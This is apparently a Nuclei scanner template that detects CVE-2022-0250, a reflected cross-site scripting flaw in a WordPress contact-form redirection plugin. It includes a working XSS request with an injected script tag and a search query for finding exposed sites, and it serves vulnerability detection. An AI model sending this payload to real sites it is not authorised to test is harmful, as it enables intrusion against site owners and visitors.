id: CVE-2022-0250

info:
  name: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session
  remediation: |
    Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
  reference:
    - https://wpscan.com/vulnerability/05700942-3143-4978-89eb-814ceff74867
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0250
    cwe-id: CWE-79
    epss-score: 0.01253
    epss-percentile: 0.65574
    cpe: cpe:2.3:a:redirection-for-contact-form7:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    verifiedl: true
    max-request: 1
    vendor: redirection-for-contact-form7
    product: redirection_for_contact_form_7
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wpcf7-redirect"
  tags: cve,cve2022,wordpress,wp,wp-plugin,wpcf7,contact-form7,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Key Characters: "><script>alert("document_domain")</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6ae5f22a525b6516061d82225854dd7b9e20ae3b302561ef375112e67d9b336022100fd2cfbc7d5213842b018fcc046e276a335c89cb5928afcf484ead9594fee5fde:922c64590222798bb761d5b6d8e72950